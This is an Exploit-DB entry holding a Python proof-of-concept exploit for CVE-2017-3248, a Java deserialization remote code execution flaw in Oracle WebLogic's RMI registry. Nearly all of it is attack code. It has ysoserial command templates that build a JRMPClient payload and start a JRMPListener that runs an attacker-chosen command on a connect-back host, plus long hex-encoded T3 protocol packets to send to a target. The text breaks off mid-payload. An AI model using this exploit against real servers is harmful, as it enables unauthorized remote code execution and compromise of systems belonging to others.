Exploit-DB #44998
Description: Oracle WebLogic 12.1.2.0 - RMI Registry UnicastRef Object Java Deserialization Remote Code Execution
Type: webapps
Platform: multiple
Date: 2018-07-07
Author: bobsecq

Exploit:
#!/usr/bin/python
# -*- coding: utf-8 -*-

from argparse import RawTextHelpFormatter
import socket, argparse, subprocess, ssl, os.path

HELP_MESSAGE = '''
--------------------------------------------------------------------------------------
Developped by bobsecq: quentin.hardy@protonmail.com (quentin.hardy@bt.com)

This script is the first public exploit/POC for:
- Exploiting CVE-2017-3248 (Oracle WebLogic RMI Registry UnicastRef Object Java Deserialization Remote Code Execution)
- Checking if a weblogic server is vulnerable

This script needs the last version of Ysoserial (https://github.com/frohoff/ysoserial)

Version affected (according to Oracle):
- 10.3.6.0
- 12.1.3.0
- 12.2.1.0
- 12.2.1.1
--------------------------------------------------------------------------------------
'''
'''
Tested on 12.1.2.0

For technical information, see:
- https://www.tenable.com/security/research/tra-2017-07
- http://www.oracle.com/technetwork/security-advisory/cpujan2[PII_REDACTED].html

Vulnerability identified by Jacob Baines (Tenable Network Security)
but exploit/POC has not been published!
'''

#COMMANDS
ARGS_YSO_GET_PAYLOD = "JRMPClient {0}:{1} |xxd -p| tr -d '\n'" #{0}: IP, {1}: port for connecting 'back' (i.e. attacker IP)
CMD_GET_JRMPCLIENT_PAYLOAD = "java -jar {0} {1}"# {0} YSOSERIAL_PATH, {1}ARGS_YSO_GET_PAYLOD
CMD_YSO_LISTEN = "java -cp {0} ysoserial.exploit.JRMPListener {1} {2} '{3}'"# {0} YSOSERIAL_PATH, {1}PORT, {2}payloadType, {3}command

#PAYLOADS
#A. Packet 1 to send:
payload_1 = '[PII_REDACTED]2e322e310a41533a3235350a484c3a31390a4d533a[PII_REDACTED]3030300a0a'
#B. Packet 2 to send:
payload_2 = '000005c3016501ffffffffffffffff0000006a0000ea[PII_REDACTED]00937b484a56fa4a777666f581daa4f5b90e2aebfc607499b[PII_REDACTED][PII_REDACTED][PII_REDACTED]0000a[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]00000a[PII_REDACTED][PII_REDACTED][PII_REDACTED]fe010000aced[PII_REDACTED]1d7765626c6f6769632e726a766d2e436c[PII_REDACTED]626c65456e7472792f52658157f4f9ed0c[PII_REDACTED][PII_REDACTED]6c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec[PII_REDACTED]0056d616a6f724900056d696e6f7249000c726f6c6c696e[PII_REDACTED]6849000b[PII_REDACTED][PII_REDACTED]6b5a000e74656d706f[PII_REDACTED]617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c[PII_REDACTED]6f6e71007e[PII_REDACTED]02000078fe010000aced[PII_REDACTED]1d7765626c6f6769632e726a766d2e436c[PII_REDACTED]626c65456e7472792f52658157f4f9ed0c[PII_REDACTED][PII_REDACTED]6c6f6769632e636f6d6d6f6e2e696e7465726e616c2e[PII_REDACTED]6f6e496e666f[PII_REDACTED]52463e0200035b[PII_REDACTED]6b[PII_REDACTED]00275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c[PII_REDACTED]657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b[PII_REDACTED]73696f6e496e666f[PII_REDACTED][PII_REDACTED]5b[PII_REDACTED]7765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec[PII_REDACTED]0056d616a6f724900056d696e6f7249000c726f6c6c696e[PII_REDACTED]6849000b[PII_REDACTED][PII_REDACTED]6b5a000e74656d706f[PII_REDACTED]617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c[PII_REDACTED]6f6e71007e[PII_REDACTED]02000078fe010000aced[PII_REDACTED]1d7765626c6f6769632e726a766d2e436c[PII_REDACTED]626c65456e7472792f52658157f4f9ed0c[PII_REDACTED][PII_REDACTED]6c6f6769632e636f6d6d6f6e2e696e7465726e616c2e[PII_REDACTED]6e666f585474f39bc908f[PII_REDACTED]056d616a6f724900056d696e6f7249000c726f6c6c696e[PII_REDACTED]6849000b[PII_REDACTED][PII_REDACTED]6b5a000e74656d706f[PII_REDACTED]617463685b[PII_REDACTED]6b[PII_REDACTED]00275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b[PII_REDACTED]65626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e[PII_REDACTED]6f6e496e666f[PII_REDACTED]52463e0200035b[PII_REDACTED]6b[PII_REDACTED]007e00034c000e72656c[PII_REDACTED]657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b[PII_REDACTED]73696f6e496e666f[PII_REDACTED][PII_REDACTED]5b[PII_REDACTED]7765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec[PII_REDACTED]0056d616a6f724900056d696e6f7249000c726f6c6c696e[PII_REDACTED]6849000b[PII_REDACTED][PII_REDACTED]6b5a000e74656d706f[PII_REDACTED]617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c[PII_REDACTED]6f6e71007e[PII_REDACTED]02000078fe00fffe010000aced[PII_REDACTED]137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c[PII_REDACTED][PII_REDACTED][PII_REDACTED]000d3139322e3136382e312e[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]2e656883348cd[PII_REDACTED]0001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced[PII_REDACTED]137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c[PII_REDACTED]200114dc42bd071a7727000d3131312e3131312e302e[PII_REDACTED]3d1d[PII_REDACTED]'
#C. Packet 3 to send:
#C.1 length
payload_3_1 = "000003b3"
#C.2 first part
payload_3_2 = '[PII_REDACTED][PII_REDACTED]1b0000005d[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]65626c6f[PII_REDACTED][PII_REDACTED]000c9c979a9a8c9a9bcfcf9b939a[PII_REDACTED]626c6f67696306fe010000'
#C.3.1 sub payload
payload_3_3_1 = 'aced[PII_REDACTED]1d7765626c6f6769632e726a766d2e436c[PII_REDACTED]626c65456e7472792f52658157f4f9ed0c[PII_REDACTED]00025b42acf317f8060854e[PII_REDACTED][PII_REDACTED]8fe010000aced[PII_REDACTED]1d7765626c6f6769632e726a766d2e436c[PII_REDACTED]626c65456e7472792f52658157f4f9ed0c[PII_REDACTED]00135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c[PII_REDACTED][PII_REDACTED]fe010000aced[PII_REDACTED]1d7765626c6f6769632e726a766d2e436c[PII_REDACTED]626c65456e7472792f52658157f4f9ed0c[PII_REDACTED]00106a6176612e7574696c2e566563746f72d9977d5b803baf[PII_REDACTED][PII_REDACTED][PII_REDACTED]496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e[PII_REDACTED]7400135b4c6a6176612f6c616e672f4f626a6563743b[PII_REDACTED]0078fe010000'
#C.3.2 Ysoserial Payload generated in real time
payload_3_3_2 = ""
#C.4 End of the payload
payload_3_4 = 'fe010000aced[PII_REDACTED]257765626c6f6769632e726a766d2e496d6d757461626c[PII_REDACTED]696365436f6e74657874ddcba8706386f0ba0c[PII_REDACTED]297765626c6f6769632e726d692e70726f[PII_REDACTED]2e[PII_REDACTED][PII_REDACTED]6365436f6e74657874e4632236c5d4a71e0c[PII_REDACTED][PII_REDACTED][PII_REDACTED]6c6f6769632e726d692e696e746572